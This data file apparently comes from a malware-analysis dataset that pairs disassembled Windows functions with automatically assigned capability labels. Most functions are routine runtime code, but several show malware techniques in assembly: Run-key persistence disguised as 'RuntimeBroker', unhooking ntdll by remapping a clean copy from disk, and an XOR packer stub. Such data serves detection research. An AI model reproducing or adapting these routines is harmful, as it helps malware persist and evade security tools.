joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001890
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004b8f0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x1018c880]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add ecx, eax
xor edx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp edx, eax
jge 0x100019c7
mov esi, dword [ecx + 0x24]
mov eax, esi
mov edi, esi
shr eax, 0x1d
shr edi, 0x1e
mov ebx, esi
and eax, 1
shr ebx, 0x1f
and edi, 1
test esi, 0x2000000
jne 0x100019d9
jmp 0x10001922
lea eax, [edi + eax*2]
lea eax, [ebx + eax*2]
mov eax, dword [eax*4 + 0x1018c850]
mov dword [ebp - 0x20], eax
test esi, 0x4000000
je 0x10001942
or eax, 0x200
mov dword [ebp - 0x20], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x100019f5
jmp 0x10001a11
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x10054c2c
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x24], 0x4b
call fcn.10003582
push 0x10054c2c
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x28], 0x10
call fcn.10003582
push 0x10054c2c
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 4
push eax
mov dword [ebp - 0x2c], 0xf
call fcn.10003582
int3

Function at 0x100020c0
Capabilities:
Get system information on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x1018c880]
xor eax, ebp
mov dword [ebp - 4], eax
call sym.Install.dat_hook
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x124], 2
jle 0x10002190
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10003ff0
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000216b
push 0x104
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.RuntimeBroker
push dword [ebp - 0x114]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x114]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x110]
mov dword [ebp - 0x110], 0x6c656853
push eax
mov dword [ebp - 0x10c], 0x78656c
call fcn.10001000
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002382
mov esp, ebp
pop ebp
ret
Function at 0x100021a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x10], ebx
push str.ntdll.dll
movq qword [ebp - 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xc
lea ecx, [ebp - 0x24]
push ecx
push eax
push ebx
call sub.KERNEL32.dll_K32GetModuleInformation
mov ebx, dword [ebp - 0x24]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32_ntdll.dll
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 0
push 0x1000002
push 0
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, dword [ebx + 0x3c]
xor esi, esi
add edi, ebx
mov dword [ebp - 0xc], eax
xor eax, eax
cmp ax, word [edi + 6]
jae 0x100022d4
nop word [eax + eax]
movzx eax, si
lea ecx, [eax + eax*4]
movzx eax, word [edi + 0x14]
add eax, edi
lea ebx, [eax + ecx*8]
mov eax, str..text
lea ecx, [ebx + 0x18]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10002277
test dl, dl
je 0x10002273
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10002277
add ecx, 2
add eax, 2
test dl, dl
jne 0x10002257
xor eax, eax
jmp 0x1000227c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100022c9
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebx + 0x24]
add eax, dword [ebp - 8]
push 0x40
push dword [ebx + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebx + 0x20]
mov eax, dword [ebp - 0xc]
add eax, dword [ebx + 0x24]
push eax
mov eax, dword [ebp - 8]
add eax, dword [ebx + 0x24]
push eax
call fcn.10003a70
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov eax, dword [ebx + 0x24]
push dword [ebx + 0x20]
add eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp si, word [edi + 6]
jb 0x10002240
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x18]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000e051
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000e090
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000e090
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000e090
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000e090
cmp dword [ecx + 0x74], 0xe
jbe 0x1000e090
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1002d4cb
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x1018c880]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x1002d516
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.1002d96b
test al, al
jne 0x1002d510
sub edx, 2
cmp edx, edi
jne 0x1002d4f6
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x1002d538
lea eax, [edi + 2]
cmp edx, eax
je 0x1002d538
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.1002d192
add esp, 0x10
jmp 0x1002d632
push esi
lea ecx, [ebp - 0x255]
call fcn.1002d96b
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1002d57b
push dword [ebp - 0x25c]
jmp 0x1002d528
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x1002d5b8
cmp word [ebp - 0x226], 0
je 0x1002d5d9
cmp word [ebp - 0x226], ax
jne 0x1002d5b8
cmp word [ebp - 0x224], 0
je 0x1002d5d9
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.1002d192
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x1002d625
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x1002d592
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x1002d60d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x1002d632
push 0x1002cbe2
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.100368a0
add esp, 0x10
jmp 0x1002d602
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002382
leave
ret
Function at 0x1002f07f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1002f11c
push ebx
push esi
call fcn.1002f03b
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1002ef78
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002f0c9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002f11b
push edi
push eax
call fcn.10032185
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1002f0e9
call fcn.1002cb90
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002f11a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1002ef78
add esp, 0x20
test eax, eax
jne 0x1002f108
push edi
call fcn.1002cb90
jmp 0x1002f110
push ebx
call fcn.1002cb90
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1002f11f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1002f130
pop esi
ret
push ebx
push edi
push esi
call fcn.1002f03b
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10032185
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1002f158
push ebx
push esi
push edi
call fcn.10003a70
add esp, 0xc
push 0
call fcn.1002cb90
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x1002fa47
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002f3cd

Function at 0x10030439
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004e12c
push 0x1004e124
push str.FlsAlloc
push 0x1f
call fcn.10030107
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1003046d
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004c188]
call esi
jmp 0x10030473
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100304b7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004e13c
push 0x1004e134
push str.FlsGetValue
push 0x21
call fcn.10030107
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100304ee
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004c188]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100304f6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004e144
push 0x1004e13c
push str.FlsSetValue
push 0x22
call fcn.10030107
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10030530
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1004c188]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1003fc26
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1002bff6
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1003fc95
cmp esi, dword [ebp - 4]
je 0x1003fc90
cmp dword [ebp + 0xc], 0
je 0x1003fc90
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1003fc6d
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1003f778
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x1003fc97
xor eax, eax
inc eax
jmp 0x1003fc97
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x1003fcfc
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1018c880]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1002bff6
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1002bff6
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1003fd73
cmp word [ecx], dx
je 0x1003fd73
mov eax, dword [0x10051e94]
push edi
dec eax
push eax
push 0x10051d80
call fcn.1003fc9b
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x1003fde6
cmp word [eax], dx
je 0x1003fde6
mov eax, dword [edi]
test eax, eax
je 0x1003fd97
cmp word [eax], dx
je 0x1003fd97
lea eax, [ebp - 0x10]
push eax
call fcn.1003f67e
jmp 0x1003fda0
lea eax, [ebp - 0x10]
push eax
call fcn.1003f719
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1003fe10
mov eax, dword [0x10051d7c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10051a70
call fcn.1003fc9b
add esp, 0xc
test al, al
je 0x1003fe10
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x1003fddb
cmp word [eax], di
je 0x1003fddb
lea eax, [ebp - 0x10]
push eax
call fcn.1003f67e
pop ecx
jmp 0x1003fe12
lea eax, [ebp - 0x10]
push eax
call fcn.1003f719
jmp 0x1003fdd8
mov eax, dword [edi]
test eax, eax
je 0x1003fdfd
cmp word [eax], dx
je 0x1003fdfd
lea eax, [ebp - 0x10]
push eax
call fcn.1003f615
pop ecx
jmp 0x1003fe10
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1003fedb
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1003fb20
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1003fedb
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1003fedb
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1003fedb
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1003fe68
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100307c7
test ebx, ebx
je 0x1003fed6
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100307c7
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1003fedb
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1003fedb
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.100436a3
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1003fedd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002382
leave
ret
Function at 0x10040db5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1018dcb8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10040df5
cmp byte [ebx], 0xa
jne 0x10040df5
or byte [edi + eax + 0x28], 4
jmp 0x10040dfa
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10040ef9
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10040edc
inc eax
cmp dl, 0xd
je 0x10040e26
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10040e4c
cmp eax, ecx
jae 0x10040e5a
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10040e0e
jmp 0x10040ef9
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10040ed7
cmp dword [ebp - 0x10], 0
je 0x10040ed7
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1018dcb8]
test byte [eax + edi + 0x28], 0x48
je 0x10040eb1
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10040e9c
mov byte [esi], dl
jmp 0x10040ead
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1018dcb8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10040ef9
cmp byte [ebp - 1], 0xa
jne 0x10040ec0
cmp esi, ebx
jne 0x10040ec0
mov byte [esi], 0xa
jmp 0x10040ef8
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10040c07
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10040ef9
mov byte [esi], 0xd
jmp 0x10040ef8
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1018dcb8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10040ef6
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10040ef9
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10040f02
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1018dcb8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10040f48
cmp word [ebx], dx
jne 0x10040f48
or byte [eax + edi + 0x28], 4
jmp 0x10040f4d
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x100410b0
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10041090
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10040f8e
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10040fc4
cmp eax, edx
jae 0x10040fd2
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10040f69
jmp 0x100410b0
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1004108b
cmp dword [ebp - 0x18], 0
je 0x1004108b
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1018dcb8]
test byte [eax + edi + 0x28], 0x48
je 0x10041061
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10041025
mov word [esi], cx
jmp 0x1004105c
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1018dcb8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1018dcb8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1018dcb8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x100410b0
pop eax
cmp word [ebp - 4], ax
jne 0x10041071
cmp esi, ebx
jne 0x10041071
mov word [esi], ax
jmp 0x100410ad
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10040c07
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x100410b0
push 0xd
pop eax
jmp 0x1004106c
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1018dcb8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x100410aa
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x100410b0
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10043d21
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10043bf5

Function at 0x10047f20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10047f4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10047f4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x39d03db5
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x473b55c7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x406b5c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004092f0
test esi, esi
jne 0x406b92
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409478
jmp 0x406bb0
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00406aa0
mov edi, eax
test esi, esi
je 0x406bb0
cmp dword [ebx], 0
je 0x406bb0
dec esi
jmp 0x406b99
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x408050
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408434
mov byte [esp], al
cmp byte [esp], 0
jne 0x4081da
test edi, edi
je 0x4081da
mov byte [esp + 1], 0
test ebp, ebp
jle 0x40811a
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x4080f5
cmp edi, 0xffffffff
je 0x4080b5
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4080b5
mov byte [esp], 0
jmp 0x4081da
mov ebx, dword [esi]
cmp ebx, 1
jg 0x4080f5
test ebx, ebx
jne 0x4080e7
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x4080e7
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x4081da
lea eax, [esp + 0xc]
call fcn.00407d30
dec ebp
test ebp, ebp
jg 0x40809a
cmp edi, 0xffffffff
je 0x40811a
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408118
mov byte [esp], 0
jmp 0x4081da
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x40805e
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x40811a
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408248
mov edx, eax
mov ebx, dword [0x6218fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x40817e
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x40817c
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x40817e
xor edi, edi
cmp byte [esp], 0
je 0x4081a4
mov ebx, dword [esi]
test bl, 1
jne 0x4081ba
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408184
mov byte [esp + 1], 1
jmp 0x4081ba
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4081a4
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408131
cmp byte [esp], 0
je 0x4081da
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret